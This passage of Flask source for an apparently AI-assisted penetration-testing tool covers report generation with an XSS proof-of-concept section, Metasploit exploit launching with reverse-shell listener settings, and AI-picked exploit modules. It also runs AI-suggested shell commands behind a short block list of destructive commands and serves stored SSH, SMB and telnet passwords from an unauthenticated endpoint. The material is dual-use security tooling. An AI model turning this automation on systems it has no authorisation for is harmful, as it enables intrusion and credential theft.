<tbody>{rem_rows if rem_rows else '<tr><td colspan="5" style="color:var(--muted)">No remediations generated</td></tr>'}</tbody></table>

{'<div class="xss-sec"><h2>🔴 XSS Proof-of-Concept (' + str(len(nse_findings.get("_xss_pocs",[]))) + ')</h2>' + "".join("<div class='poc-row'><code style='color:var(--red);word-break:break-all'>" + _esc(p) + "</code></div>" for p in (nse_findings.get("_xss_pocs") or [])) + "</div>" if nse_findings.get("_xss_pocs") else ""}

</body></html>"""

        txt_report = "\n".join([
            "="*60, "PENTESTCHAIN REPORT", "="*60,
            f"Target    : {target} ({resolved})",
            f"Generated : {ts}",
            f"Ports     : {ports}",
            f"Risk score: {risk_score}/10",
            f"Open ports: {len(services)}",
            f"CVEs      : {len(flat_cves)} (CRIT={n_crit} HIGH={n_high} MED={n_med})",
            f"Exploits  : {len(exploits)}",
            "", "OPEN SERVICES", "-"*60,
        ] + [
            f"{s['ip']:18} :{s['port']:<6} {s['service']:<14} {s['banner']}"
            for s in services
] + ["", "TOP CVEs", "-"*60] + [
            f"{c['id']:<22} CVSS:{str(c.get('score', c.get('cvss', '?'))):<5} {c.get('desc', '')[:60]}"
            for c in flat_cves[:20]
        ] + ["", "EXPLOITS", "-"*60] + [
            f"{e.get('ip','?')}:{e.get('port','?')}  {e.get('module','?')}  payload={e.get('payload','none')}"
            for e in exploits
        ])

        html_path = f"{out_dir}/pentest_report.html"
        with open(html_path, "w") as f:
            f.write(html_report)

        txt_path = f"{out_dir}/report.txt"
        with open(txt_path, "w") as f:
            f.write(txt_report)

        scan_state["results"]["txt"] = txt_path
        scan_state["results"]["html"] = html_path
        scan_state["results"]["html_path"] = html_path

        # Snapshot everything the UI reads on scan_complete.
        try:
            scan_state["results"]["target"]     = target
            scan_state["results"]["resolved"]   = resolved
            scan_state["results"]["ts"]         = ts
            scan_state["results"]["out_dir"]    = out_dir
            scan_state["results"]["open_ports"] = [s["port"] for s in services]
            scan_state["results"]["services"]   = services
            scan_state["results"]["cves"]       = flat_cves
            scan_state["results"]["exploits"]   = exploits
            scan_state["results"]["n_crit"]     = n_crit
            scan_state["results"]["n_high"]     = n_high
            scan_state["results"]["n_med"]      = n_med
            scan_state["results"]["risk_score"] = risk_score
            scan_state["results"]["remediation_scripts"] = rem_scripts
            try:
                scan_state["results"]["remediation_plan"] = remediation_plan
            except Exception:
                pass
            # NEW: persist AI cross-check + live-verify so the new API endpoints
            # can serve them without re-running the model.
            try:
                scan_state["results"]["ai_research"]    = ai_research_map
                scan_state["results"]["live_verify"]    = live_verify_log
                scan_state["results"]["all_cves_by_port"] = all_cves
                scan_state["results"]["nse_findings"]   = nse_findings
                scan_state["results"]["os_name"]        = os_name
            except Exception:
                pass
        except Exception as _snap_err:
            print(f"[RESULT-SNAPSHOT] {_snap_err}")

        emit_log(f"Reports saved: {html_path}", "ok")
        emit_progress(100, "Scan complete")

    except Exception as e:
        import traceback
        emit_log(f"SCAN ERROR: {e}", "error")
        print(f"[SCAN ERROR] {traceback.format_exc()}")
    finally:
        scan_state["running"] = False
        _r = scan_state.get("results", {}) or {}
        # UI reads data.risk_score / data.cves / data.exploits DIRECTLY on
        # scan_complete (templates/index.html ~line 553). Flatten the payload.
        _payload = {
            "results":    _r,
            "target":     _r.get("target", ""),
            "resolved":   _r.get("resolved", ""),
            "ts":         _r.get("ts", ""),
            "open_ports": _r.get("open_ports", []),
            "services":   _r.get("services", []),
            "cves":       _r.get("cves", []),
            "exploits":   _r.get("exploits", []),
            "n_crit":     _r.get("n_crit", 0),
            "n_high":     _r.get("n_high", 0),
            "n_med":      _r.get("n_med", 0),
            "risk_score": _r.get("risk_score", 0),
            "out_dir":    _r.get("out_dir", ""),
        }
        socketio.emit("scan_complete", _payload)
        socketio.emit("done", _payload)


@app.route("/")
@app.route("/ui")
@app.route("/ui/")
def index():
    return render_template("index.html")

@app.route("/api/status")
def get_status():
    r = scan_state.get("results", {})
    return jsonify({
        "running":      scan_state.get("running", False),
        "progress":     scan_state.get("progress", 0),
        "current_task": scan_state.get("current_task", ""),
        "phase":        scan_state.get("phase", 0),
        "target":       r.get("target", ""),
        "ports_found":  len(r.get("open_ports", [])),
        "services":     len(r.get("services", [])),
        "cves":         len(r.get("cves", [])),
        "exploits":     len(r.get("exploits", [])),
        "risk_score":   r.get("risk_score", 0),
        "has_results":  bool(r),
    })

@app.route("/api/scan", methods=["POST"])
def start_scan():
    global scan_state
    if scan_state.get("running"):
        return jsonify({"error": "Scan already running"}), 409
    data = request.json or {}
    if not data.get("target"):
        return jsonify({"error": "target required"}), 400
    config = {
        "target":       data.get("target", ""),
        "lhost":        _auto_lhost(data.get("lhost", ""), data.get("target", "")),
        "lport":        int(data.get("lport", 4445)),
        "ports":        data.get("ports", "1-10000"),
        "threads":      int(data.get("threads", 200)),
        "scan_profile": data.get("scan_profile", "standard"),
        "api_key":      data.get("api_key", ""),
        "ssh_auth_method":  data.get("ssh_auth_method", "password"),
        "ssh_username":     data.get("ssh_username", ""),
        "ssh_password":     data.get("ssh_password", ""),
        "ssh_port":         int(data.get("ssh_port", 22)),
        "ssh_private_key":  data.get("ssh_private_key", ""),   # PEM text
        "ssh_passphrase":   data.get("ssh_passphrase", ""),
        "ssh_priv_esc":     data.get("ssh_priv_esc", "none"),
        "ssh_kdc_host":     data.get("ssh_kdc_host", ""),
        "ssh_kdc_port":     int(data.get("ssh_kdc_port", 88)),
        "ssh_realm":        data.get("ssh_realm", ""),
        "ssh_transport":    data.get("ssh_transport", "tcp"),
        "win_auth_method":  data.get("win_auth_method", "password"),
        "smb_username":     data.get("smb_username", ""),
        "smb_password":     data.get("smb_password", ""),
        "smb_domain":       data.get("smb_domain", "WORKGROUP"),
        "smb_ntlm_hash":    data.get("smb_ntlm_hash", ""),
        "smb_lm_hash":      data.get("smb_lm_hash", ""),
        "win_laps":         bool(data.get("win_laps", False)),
        "win_krb_kdc":      data.get("win_krb_kdc", ""),
        "win_krb_realm":    data.get("win_krb_realm", ""),
        "win_no_ntlmv1":    bool(data.get("win_no_ntlmv1", False)),
        "win_remote_reg":   bool(data.get("win_remote_reg", True)),
        "win_admin_shares": bool(data.get("win_admin_shares", True)),
        "snmpv3_username":  data.get("snmpv3_username", ""),
        "snmpv3_port":      int(data.get("snmpv3_port", 161)),
        "snmpv3_sec_level": data.get("snmpv3_sec_level", "authPriv"),
        "snmpv3_auth_algo": data.get("snmpv3_auth_algo", "SHA"),
        "snmpv3_auth_pass": data.get("snmpv3_auth_pass", ""),
        "snmpv3_priv_algo": data.get("snmpv3_priv_algo", "AES"),
        "snmpv3_priv_pass": data.get("snmpv3_priv_pass", ""),
        # Telnet
        "telnet_username": data.get("telnet_username", "msfadmin"),
        "telnet_password": data.get("telnet_password", "msfadmin"),
        "telnet_port":     int(data.get("telnet_port", 23) or 23),
        "telnet_timeout":  int(data.get("telnet_timeout", 30) or 30),
        "gemini_key":       data.get("gemini_key", ""),
        "anthropic_key":    data.get("anthropic_key", ""),
    }
    import threading
    t = threading.Thread(target=run_full_scan, args=(config,), daemon=True)
    t.start()
    return jsonify({"status": "started", "target": config["target"]})

@app.route("/api/scan_stop", methods=["POST"])
def stop_scan():
    scan_state["running"] = False
    return jsonify({"status": "stop_requested"})

@app.route("/api/results")
def get_results():
    r = scan_state.get("results", {})
    if not r:
        return jsonify({"error": "No results yet"}), 404
    # Return a trimmed version to avoid huge payloads
    safe = {k: v for k, v in r.items()
            if k not in ("html_path", "txt_path", "json_path", "out_dir")}
    # Trim large CVE lists
    if "all_cves" in safe and isinstance(safe["all_cves"], dict):
        safe["all_cves"] = {k: v[:5] for k, v in list(safe["all_cves"].items())[:20]}
    return jsonify(safe)

@app.route("/api/logs")
def get_logs():
    return jsonify(scan_state.get("log", []))

@app.route("/api/auth_results")
def get_auth_results():
    r = scan_state.get("results", {})
    auth = r.get("auth_results") or {}
    return jsonify({
        "ssh":  {k: v for k, v in (auth.get("ssh") or {}).items()
                 if k not in ("suid_binaries", "world_writable", "env_vars")},
        "smb":  auth.get("smb", {}),
        "snmp": auth.get("snmp", {}),
        "discovered_credentials": auth.get("discovered_credentials", []),
        "pivot_candidates":       auth.get("pivot_candidates", []),
        "credential_reuse":       auth.get("credential_reuse", []),
    })

@app.route("/api/remediation_plan")
def get_remediation_plan():
    r = scan_state.get("results", {})
    plan = r.get("remediation_plan", [])
    return jsonify({"plan": plan, "count": len(plan)})

@app.route("/api/exploit", methods=["POST"])
def run_exploit():
    """
    Backwards-compatible: accepts either
      { "rc_file": "/path/to/foo.rc" }                            (legacy)
    or
      { "module": "exploit/...", "rhost": "1.2.3.4", "rport": 21,
        "payload": "...", "needs_lhost": true|false,
        "lhost": "0.0.0.0", "lport": 4445 }                       (new, uses msfrpc)
    """
    data = request.json or {}

    # UI payload contract (templates/index.html ~line 573):
    #   exploit_output  → { message: str, type: str }
    #   exploit_complete→ { success: bool, session_id: str, output: str }
    def _emit_out(msg, lvl="info"):
        try:
            socketio.emit("exploit_output", {"text": msg, "message": msg, "line": msg, "type": lvl})
        except Exception:
            pass
    def _emit_done(success, session_id="", output="", **extra):
        payload = {"success": bool(success), "session_id": str(session_id or ""),
                   "output": output}
        payload.update(extra)
        try:
            socketio.emit("exploit_complete", payload)
            socketio.emit("exploit_done", payload)
        except Exception:
            pass

    # Accepts: { module, rhost, rport } and/or { cve, rhost, rport }
    module = data.get("module", "").strip()
    cve    = data.get("cve", "").strip()
    rhost  = data.get("rhost", "").strip()
    rport  = data.get("rport")

    if (module or cve) and rhost and rport and HAS_MSFRPC:
        payload_str = data.get("payload", "") or ""
        needs_lhost = bool(data.get("needs_lhost", True))
        lhost       = _auto_lhost(data.get("lhost", ""), rhost)
        lport       = int(data.get("lport", 4445))

        # Compute a verified rule-based fallback module for this target's
        # service, so a hallucinated/non-existent `module` doesn't dead-end as
        # "no session created" when a real module exists.
        fallback_module = ""
        try:
            _results = scan_state.get("results", {}) or {}
            _svc = next((s for s in _results.get("services", [])
                         if s.get("ip") == rhost and str(s.get("port")) == str(rport)), None)
            if _svc:
                _cves = (_results.get("all_cves", {}) or {}).get(f"{rhost}:{rport}", [])
                _rule = _rule_exploit_for(_svc, _cves) or {}
                fallback_module = _rule.get("module", "")
        except Exception:
            fallback_module = ""

        def run_interactive():
            _emit_out(f"[MSF] Interactive exploit: module={module or '(CVE search)'} "
                      f"cve={cve or 'N/A'}", "info")
            _emit_out(f"[MSF] Target: {rhost}:{rport}  Payload: {payload_str or '(auto)'}", "info")
            try:
                def on_line(line, lvl):
                    _emit_out(line, lvl)
                result = msfrpc_run_exploit(
                    module_name=module or "exploit/multi/handler",
                    rhosts=rhost, rport=int(rport),
                    cve=cve,
                    payload=payload_str, lhost=lhost, lport=lport,
                    needs_lhost=needs_lhost, on_line=on_line,
                    fallback_module=fallback_module, timeout=180,
                )
                if result.get("session_opened"):
                    _emit_out("Session created successfully!", "ok")
                _emit_done(
                    success=bool(result.get("session_opened")),
                    session_id=result.get("session_id", ""),
                    output=result.get("output", ""),
                    module=result.get("module", module),
                    path=result.get("path", ""),
                    duration_s=result.get("duration_s", 0),
                )
            except Exception as e:
                _emit_out(f"Error: {e}", "error")
                _emit_done(False, "", str(e))

        threading.Thread(target=run_interactive, daemon=True).start()
        return jsonify({"status": "started", "mode": "msfrpc_console",
                        "module": module, "cve": cve,
                        "target": f"{rhost}:{rport}"})

    if not HAS_MSFRPC:
        _emit_out("[MSF] msfrpc support not loaded — install pymetasploit3 "
                  "and ensure msfrpcd is running", "error")
        _emit_done(False, "", "msfrpc not available")
        return jsonify({"error": "msfrpc support not loaded. Install "
                        "pymetasploit3 and start msfrpcd."}), 503

    if not (module or cve):
        return jsonify({"error": "No module or CVE specified. Select an "
                        "exploit from the Exploits tab first."}), 400

    if not rhost or not rport:
        return jsonify({"error": f"Missing target info: rhost={rhost!r}, "
                        f"rport={rport!r}. Re-run the scan or select a "
                        "service from the Exploits tab."}), 400

    return jsonify({"error": "Could not launch exploit — check module, "
                    "target, and msfrpcd status."}), 400


@app.route("/api/session_cmd", methods=["POST"])
def api_session_cmd():
    """
    Send a command to an open Metasploit session (meterpreter or shell) and
    return whatever the session writes back. This is the backend for the
    "Session" tab in the UI.

    Body:
      { "command": "sysinfo", "session_id": "1" }
    If session_id is missing or "none", we auto-pick the most recent active
    session — fixes the bug where the UI's `activeSession` stayed null after
    a successful exploit so every command failed with the pymetasploit3
    pattern-match error.
    """
    data = request.json or {}
    cmd  = (data.get("command") or "").strip()
    sid  = data.get("session_id")
    if not cmd:
        return jsonify({"error": "command required"}), 400

    if not HAS_MSFRPC:
        return jsonify({"error": "msfrpc support not loaded"}), 500

    # Make sure msfrpcd is up before touching the client
    if not ensure_msfrpcd_running(timeout=10):
        return jsonify({"error": "msfrpcd is not running"}), 503

    client = _get_msf_client()
    if client is None:
        return jsonify({"error": "could not connect to msfrpcd"}), 503

    # Normalise sid — accept int, str, or auto-pick
    try:
        sessions = client.sessions.list or {}
    except Exception as e:
        return jsonify({"error": f"sessions.list failed: {e}"}), 500

    if not sessions:
        return jsonify({"error": "No active sessions. Run an exploit first."}), 404

    alive_ids = [str(k) for k in sessions.keys()]

    if sid in (None, "", "none", "None"):
        # Auto-pick most-recent session (highest numeric sid)
        try:
            sid = str(max(int(k) for k in sessions.keys()))
        except Exception:
            sid = str(list(sessions.keys())[-1])
    else:
        sid = str(sid)

    if sid not in alive_ids:
        # Older shell sessions (especially cmd/unix/reverse* shells) die
        # quickly. When the UI's `activeSession` lags behind msfrpc's real
        # state we used to hard-fail with "Session 86 not found" — instead
        # auto-attach to the newest live session and tell the caller we
        # switched.
        try:
            new_sid = str(max(int(k) for k in sessions.keys()))
        except Exception:
            new_sid = str(list(sessions.keys())[-1])
        prev_sid = sid
        sid = new_sid
        # Build the response so the JS can update `activeSession`
        stale_msg = (f"[INFO] Session {prev_sid} no longer alive — "
                     f"auto-attached to session {sid} instead.\n")
    else:
        stale_msg = ""

    sinfo = sessions.get(sid) or sessions.get(int(sid)) or {}
    stype = (sinfo.get("type", "") or "").lower()

    try:
        sess = client.sessions.session(sid)
    except Exception as e:
        return jsonify({"error": f"session({sid}) error: {e}"}), 500

    # Meterpreter: use run_with_output for one-shot capture
    output = ""
    try:
        if "meterpreter" in stype:
            try:
                output = sess.run_with_output(cmd, timeout=int(data.get("timeout", 30)))
            except Exception:
                # Fall back to raw write/read
                sess.write(cmd + "\n")
                time.sleep(1.5)
                output = sess.read() or ""
        else:
            # shell or other — write + drain
            sess.write(cmd + "\n")
            deadline = time.time() + int(data.get("timeout", 8))
            buf = ""
            while time.time() < deadline:
                chunk = ""
                try:
                    chunk = sess.read() or ""
                except Exception:
                    pass
                if chunk:
                    buf += chunk
                    if len(buf) > 100 and not chunk.strip():
                        break
                time.sleep(0.3)
            output = buf
    except Exception as e:
        return jsonify({"error": f"session.write/read failed: {e}",
                        "session_id": sid}), 500

    return jsonify({
        "session_id":  sid,
        "session_type": stype or "unknown",
        "command":     cmd,
        "output":      stale_msg + (output if isinstance(output, str) else str(output)),
        "switched":    bool(stale_msg),
    })


@app.route("/api/msf_cmd", methods=["POST"])
def api_msf_cmd():
    """
    Run an arbitrary msfconsole command (e.g. `sessions -l`, `jobs`) via a
    short-lived msfrpc console. Backs the 'List Sessions' button in the UI.
    """
    data = request.json or {}
    cmd  = (data.get("command") or "").strip()
    if not cmd:
        return jsonify({"error": "command required"}), 400

    # Belt-and-braces: refuse a few destructive commands
    for bad in ("rm -rf", "mkfs", "shutdown", "reboot"):
        if bad in cmd:
            return jsonify({"error": f"blocked: {bad}"}), 403

    if not HAS_MSFRPC or not ensure_msfrpcd_running(timeout=10):
        return jsonify({"error": "msfrpcd is not running"}), 503

    client = _get_msf_client()
    if client is None:
        return jsonify({"error": "could not connect to msfrpcd"}), 503

    console = None
    try:
        console = client.consoles.console()
        time.sleep(1.2)
        try: console.read()    # drain banner
        except Exception: pass

        output = _console_exec(console, cmd,
                                wait=int(data.get("timeout", 12)))
        return jsonify({"command": cmd, "output": output or ""})
    except Exception as e:
        return jsonify({"error": str(e)}), 500
    finally:
        if console is not None:
            try: console.destroy()
            except Exception: pass


@app.route("/api/sessions", methods=["GET"])
def api_list_sessions():
    """Return the live msfrpc session list — used by the UI to populate the
    session-picker after an exploit completes."""
    if not HAS_MSFRPC or not ensure_msfrpcd_running(timeout=5):
        return jsonify({"sessions": {}, "error": "msfrpcd not running"})
    client = _get_msf_client()
    if client is None:
        return jsonify({"sessions": {}, "error": "msfrpcd unreachable"})
    try:
        return jsonify({"sessions": client.sessions.list or {}})
    except Exception as e:
        return jsonify({"sessions": {}, "error": str(e)})


@app.route("/api/smart_exploit", methods=["POST"])
def smart_exploit():
    """
    Feature #4 entry point. Body:
      { "ip": "1.2.3.4", "port": 21, "cves": [...], "lhost": "...", "lport": 4445 }
    AI picks the Metasploit module for this service+CVE set; we run it via
    msfrpc — no .rc files.
    """
    if not HAS_AI_HELPERS:
        return jsonify({"error": "ai_helpers.py missing"}), 500
    data = request.json or {}
    ip   = (data.get("ip") or "").strip()
    port = data.get("port")
    if not ip or port is None:
        return jsonify({"error": "ip and port required"}), 400

    # Use the freshest service/CVE data from scan_state unless the caller
    # passed override values.
    results = scan_state.get("results", {}) or {}
    services = data.get("services") or results.get("services", [])
    all_cves = data.get("cves")     or results.get("all_cves", {})

    svc_match = next(
        (s for s in services
         if s.get("ip") == ip and str(s.get("port")) == str(port)),
        None,
    )
    if not svc_match:
        svc_match = {"ip": ip, "port": str(port),
                     "service": data.get("service", ""),
                     "product": data.get("product", ""),
                     "version": data.get("version", "")}

    cves_for_svc = all_cves.get(f"{ip}:{port}") or data.get("cve_list") or []

    pick = ai_pick_exploit(svc_match, cves_for_svc)
    if not pick:
        return jsonify({"error": "No suitable exploit found for this service"}), 404

    # Verified, rule-based module for this exact service — used as a safety net
    # if the AI-picked module turns out to be hallucinated/non-existent.
    rule_pick = _rule_exploit_for(svc_match, cves_for_svc) or {}
    fallback_module = rule_pick.get("module", "")

    lhost = _auto_lhost(data.get("lhost", ""), ip)
    lport = int(data.get("lport", 4445))

    # Extract CVE IDs to pass for search
    cve_id = ""
    if cves_for_svc:
        # Use the highest-severity CVE for the search
        cve_id = cves_for_svc[0].get("id", "") if isinstance(cves_for_svc[0], dict) else str(cves_for_svc[0])

    def run_smart():
        def on_line(line, lvl):
            socketio.emit("exploit_output",
                          {"message": line, "line": line, "type": lvl})
        try:
            result = msfrpc_run_exploit(
                module_name=pick["module"], rhosts=ip, rport=int(port),
                cve=cve_id,
                payload=pick.get("payload", ""), lhost=lhost, lport=lport,
                needs_lhost=bool(pick.get("needs_lhost", True)),
                on_line=on_line, fallback_module=fallback_module, timeout=180,
            )
            socketio.emit("exploit_complete", {
                "success":    bool(result.get("session_opened")),
                "session_id": result.get("session_id", ""),
                "output":     result.get("output", ""),
                "module":     result.get("module", pick["module"]),
                "target":     f"{ip}:{port}",
                "mode":       result.get("path", "msfrpc_console"),
            })
        except Exception as e:
            on_line(f"smart_exploit error: {e}", "error")
            socketio.emit("exploit_complete",
                          {"success": False, "output": str(e)})

    threading.Thread(target=run_smart, daemon=True).start()
    return jsonify({"status": "started", "mode": "msfrpc_console",
                    "module": pick["module"], "cve": cve_id,
                    "target": f"{ip}:{port}"})


@app.route("/api/smart_remediation", methods=["POST"])
def smart_remediation():
    """
    Feature #4: AI-written remediation for a specific finding.
    Body: { "finding": {...} }
    """
    if not HAS_AI_HELPERS:
        return jsonify({"error": "ai_helpers.py missing"}), 500
    data = request.json or {}
    finding = data.get("finding") or {}
    if not finding:
        return jsonify({"error": "finding required"}), 400
    plan = ai_write_remediation(finding)
    return jsonify({"remediation": plan})


@app.route("/api/research_vulns", methods=["POST"])
def api_research_vulns():
    """
    AI cross-references NVD + ExploitDB + OSV CVEs for a service and returns
    confidence-scored matches plus any mismatches that need live verification.
    Body: { "service": {ip, port, product, version, banner}, "cves": [optional]}
    If "cves" is missing we look it up live with lookup_cve().
    """
    if not HAS_AI_HELPERS:
        return jsonify({"error": "ai_helpers missing"}), 500
    data = request.json or {}
    svc  = data.get("service") or {}
    if not svc.get("port"):
        return jsonify({"error": "service.port required"}), 400
    cves = data.get("cves")
    if cves is None:
        product = svc.get("product") or svc.get("service", "")
        version = svc.get("version", "")
        cves = lookup_cve(product, version, data.get("api_key", ""))
    research = ai_research_vulnerabilities(svc, cves, data.get("os_name", ""))
    return jsonify({"service": svc, "research": research,
                    "cve_count": len(cves)})


@app.route("/api/live_verify", methods=["POST"])
def api_live_verify():
    """
    Run an AI-generated live verification probe for a CVE that was flagged as
    a possible mismatch. Returns the command executed, raw output and a
    confirmed boolean (whether verdict_hint appeared in the output).
    Body: { "service": {...}, "cve": "CVE-xxxx-yyyy", "reason": "..." }
    """
    if not HAS_AI_HELPERS:
        return jsonify({"error": "ai_helpers missing"}), 500
    data = request.json or {}
    svc  = data.get("service") or {}
    cve  = (data.get("cve") or "").strip()
    if not svc or not cve:
        return jsonify({"error": "service and cve required"}), 400
    probe = ai_live_verify_mismatch(svc, cve, data.get("reason", ""))
    cmd   = probe.get("command", "")
    hint  = (probe.get("verdict_hint") or "").strip()
    out   = run_cmd(cmd, timeout=int(data.get("timeout", 60))) if cmd else ""
    confirmed = bool(hint) and hint.lower() in (out or "").lower()
    return jsonify({
        "service":      svc,
        "cve":          cve,
        "probe":        probe,
        "output":       out,
        "confirmed":    confirmed,
        "verdict_hint": hint,
    })


@app.route("/api/next_scan_options", methods=["POST"])
def api_next_scan_options():
    """
    Given a service (and optional prior findings), the AI suggests 2-4
    concrete next-step scans. Each item has a runnable command, optionally a
    custom NSE Lua script, and a rationale.
    Body: { "service": {...}, "nse_hits": [...], "web_findings": [...] }
    """
    if not HAS_AI_HELPERS:
        return jsonify({"error": "ai_helpers missing"}), 500
    data = request.json or {}
    svc  = data.get("service") or {}
    if not svc.get("port"):
        return jsonify({"error": "service.port required"}), 400
    plan = ai_next_scan_options(
        svc,
        nse_hits     = data.get("nse_hits", []) or [],
        web_findings = data.get("web_findings", []) or [],
    )
    return jsonify({"service": svc, "plan": plan})


@app.route("/api/run_next_scan", methods=["POST"])
def api_run_next_scan():
    """
    Execute one of the suggestions returned by /api/next_scan_options.
    Body: { "command": "...", "nse_script": "-- optional Lua --",
            "timeout": 90 }
    Returns the raw command output. The Lua script (if provided) is written
    to /tmp and `--script=/tmp/...` is automatically appended if the command
    looks like an nmap invocation that doesn't already reference a script.
    """
    data = request.json or {}
    cmd  = (data.get("command") or "").strip()
    if not cmd:
        return jsonify({"error": "command required"}), 400

    # Block destructive operations even though api_run_cmd also filters them.
    for bad in ("rm -rf", "mkfs", "dd if=", "shutdown", "halt", "reboot", "> /dev/sd"):
        if bad in cmd:
            return jsonify({"error": f"blocked: {bad}"}), 403

    script = (data.get("nse_script") or "").strip()
    script_path = None
    if script:
        script_path = f"/tmp/aiscan_{int(time.time())}.nse"
        try:
            with open(script_path, "w") as f:
                f.write(script)
            if cmd.startswith("nmap ") and "--script" not in cmd:
                cmd = f"{cmd} --script={script_path}"
        except Exception as e:
            return jsonify({"error": f"script write failed: {e}"}), 500

    out = run_cmd(cmd, timeout=min(int(data.get("timeout", 90)), 300))
    if script_path:
        try: os.unlink(script_path)
        except Exception: pass
    return jsonify({"command": cmd, "output": out})


@app.route("/api/impact_patch", methods=["POST"])
def api_impact_patch():
    """
    Per-finding AI analysis that returns: impact, damage scenarios, blast
    radius, data-at-risk, ordered remediation steps, OS-specific patch
    commands, a verification command and an urgency rating.
    Body: { "finding": {id, score, severity, product, version, description},
            "service": {ip, port, ...}, "os_name": "Linux" }
    """
    if not HAS_AI_HELPERS:
        return jsonify({"error": "ai_helpers missing"}), 500
    data = request.json or {}
    finding = data.get("finding") or {}
    service = data.get("service") or {}
    if not finding:
        return jsonify({"error": "finding required"}), 400
    plan = ai_impact_and_patch_plan(finding, service=service,
                                     os_name=data.get("os_name", ""))
    return jsonify({"finding": finding, "service": service,
                    "impact_patch": plan})


@app.route("/api/ai_research")
def api_ai_research_cached():
    """Return the most-recent AI research+live-verify snapshot from scan_state."""
    r = scan_state.get("results", {}) or {}
    return jsonify({
        "ai_research": r.get("ai_research", {}),
        "live_verify": r.get("live_verify", []),
        "os_name":     r.get("os_name", ""),
        "service_count": len(r.get("services", []) or []),
    })


@app.route("/api/apply_fix", methods=["POST"])
def apply_fix():
    data = request.json or {}
    fix_id   = data.get("fix_id", "")
    tier     = int(data.get("tier", 1))
    os_target = data.get("os_target", "linux")

    r = scan_state.get("results", {})
    plan = r.get("remediation_plan", [])
    verifier = scan_state.get("_verifier")

    if not verifier and plan:
        try:
            from remediation_verifier import RemediationVerifier
            verifier = RemediationVerifier(
                target=r.get("target", ""),
                services=r.get("services", []),
                nse_findings=r.get("nse_findings", {}),
                out_dir=r.get("out_dir", "/tmp"),
                emit_fn=lambda msg, lvl="info": emit_log(msg, lvl),
            )
            verifier._plan = plan
            scan_state["_verifier"] = verifier
        except Exception as e:
            return jsonify({"error": f"Verifier init failed: {e}"}), 500

    if not verifier:
        return jsonify({"error": "No remediation plan available — run a scan first"}), 400

    try:
        creds_path = os.path.join(os.path.dirname(__file__), "creds.json")
        ssh_user = ssh_pass = ""
        if os.path.exists(creds_path):
            import json as _json
            c = _json.load(open(creds_path))
            ssh_user = c.get("ssh", {}).get("username", "")
            ssh_pass = c.get("ssh", {}).get("password", "")

        result = verifier.apply_and_verify(
            fix_id=fix_id, tier=tier, os_target=os_target,
            ssh_username=ssh_user, ssh_password=ssh_pass,
        )
        return jsonify(result)
    except Exception as e:
        return jsonify({"error": str(e)}), 500


@app.route("/api/creds_hint")
def get_creds_hint():
    creds_path = os.path.join(os.path.dirname(__file__), "creds.json")
    try:
        import json as _json
        with open(creds_path) as f:
            creds = _json.load(f)
        ssh     = creds.get("ssh", {})
        smb     = creds.get("smb", {})
        telnet  = creds.get("telnet", {})
        return jsonify({
            "ssh_username":    ssh.get("username", ""),
            "ssh_password":    ssh.get("password", ""),
            "ssh_port":        ssh.get("port", 22),
            "smb_username":    smb.get("username", ""),
            "smb_password":    smb.get("password", ""),
            "telnet_username": telnet.get("username", ""),
            "telnet_password": telnet.get("password", ""),
        })
    except Exception as e:
        return jsonify({"error": str(e)})


@app.route("/api/web_scan", methods=["POST"])
def run_web_scan():
    data    = request.json or {}
    tool    = data.get("tool", "nikto")
    target  = data.get("target", "")
    port    = data.get("port", "80")
    if not target:
        return jsonify({"error": "target required"}), 400
    ssl_flag = "-ssl" if port in ("443", "8443") else ""
    url = f"http{'s' if port in ('443','8443') else ''}://{target}:{port}/"
    if tool == "nikto":
        cmd = f"nikto -h {target} -p {port} {ssl_flag} -nointeractive -maxtime 120"
    elif tool == "sqlmap":
        cmd = (f"sqlmap -u {shlex.quote(url)} --batch --crawl=3 --level=3 --risk=2 "
               f"--forms --smart --timeout=15 --retries=2 --technique=BEUSTQ --dbs --banner")
    elif tool == "wpscan":
        cmd = f"wpscan --url {shlex.quote(url)} --enumerate vp,vt,u --disable-tls-checks"
    elif tool == "dirb":
        cmd = f"dirb {shlex.quote(url)} /usr/share/dirb/wordlists/common.txt -S -r"
    else:
        return jsonify({"error": "unknown tool"}), 400
    result = run_cmd(cmd, timeout=300)
    return jsonify({"tool": tool, "target": f"{target}:{port}", "output": result})


@app.route("/api/report/html")
def get_html_report():
    r = scan_state.get("results", {})
    p = r.get("html_path", "")
    if p and os.path.exists(p):
        return send_file(p, mimetype="text/html")
    out_dir = r.get("out_dir", "")
    if out_dir:
        hp = os.path.join(out_dir, "pentest_report.html")
        if os.path.exists(hp):
            return send_file(hp, mimetype="text/html")
    return jsonify({"error": "No HTML report yet"}), 404


@app.route("/api/report/pdf")
def get_pdf_report():
    r = scan_state.get("results", {})
    p = r.get("pdf", "")
    if p and os.path.exists(p):
        return send_file(p, as_attachment=True, download_name="pentest_report.pdf",
                         mimetype="application/pdf")
    return jsonify({"error": "No PDF report yet"}), 404


@app.route("/api/report/json")
def get_json_report():
    r = scan_state.get("results", {})
    p = r.get("json_path", "")
    if p and os.path.exists(p):
        return send_file(p, mimetype="application/json")
    if r:
        import json as _json, io
        buf = io.BytesIO(_json.dumps(r, default=str, indent=2).encode())
        buf.seek(0)
        return send_file(buf, mimetype="application/json",
                         as_attachment=True, download_name="pentest_report.json")
    return jsonify({"error": "No report yet"}), 404


@app.route("/api/ai_status")
def get_ai_status():
    """Diagnostic: test each AI provider and report status."""
    results = {}
    test_prompt = 'Respond with exactly: {"status":"ok"}'

    # Check key presence
    gem_key = os.environ.get("GEMINI_API_KEY", "").strip()

    # Ollama is keyless — probe several likely hosts and report:
    #   set                → server up + the requested model is pulled
    #   running_no_model   → server up but OLLAMA_MODEL isn't pulled
    #   missing            → no server reachable on any candidate host
    # We also report:
    #   ollama_diagnostic  → which hosts we tried + the per-host result
    #   ollama_tags        → list of models the live server has (for UI hint)
    #   ollama_in_docker   → whether Flask appears to be running in Docker
    env_host = os.environ.get("OLLAMA_HOST", "").strip().rstrip("/")
    ollama_model = os.environ.get("OLLAMA_MODEL", "qwen2.5-coder:7b")

    # Detect docker so we can give context-aware fix instructions
    in_docker = os.path.exists("/.dockerenv") or "docker" in (
        open("/proc/1/cgroup").read() if os.path.exists("/proc/1/cgroup") else ""
    )

    if env_host:
        candidates = [env_host]
    else:
        # Prefer the path that's actually relevant for this runtime
        if in_docker:
            candidates = [
                "http://host.docker.internal:11434",
                "http://172.17.0.1:11434",          # default docker bridge gateway
                "http://127.0.0.1:11434",
            ]
        else:
            candidates = [
                "http://127.0.0.1:11434",
                "http://localhost:11434",
                "http://host.docker.internal:11434",
            ]

    diag = []
    ollama_status = "missing"
    ollama_host   = candidates[0]   # what we'll show in UI
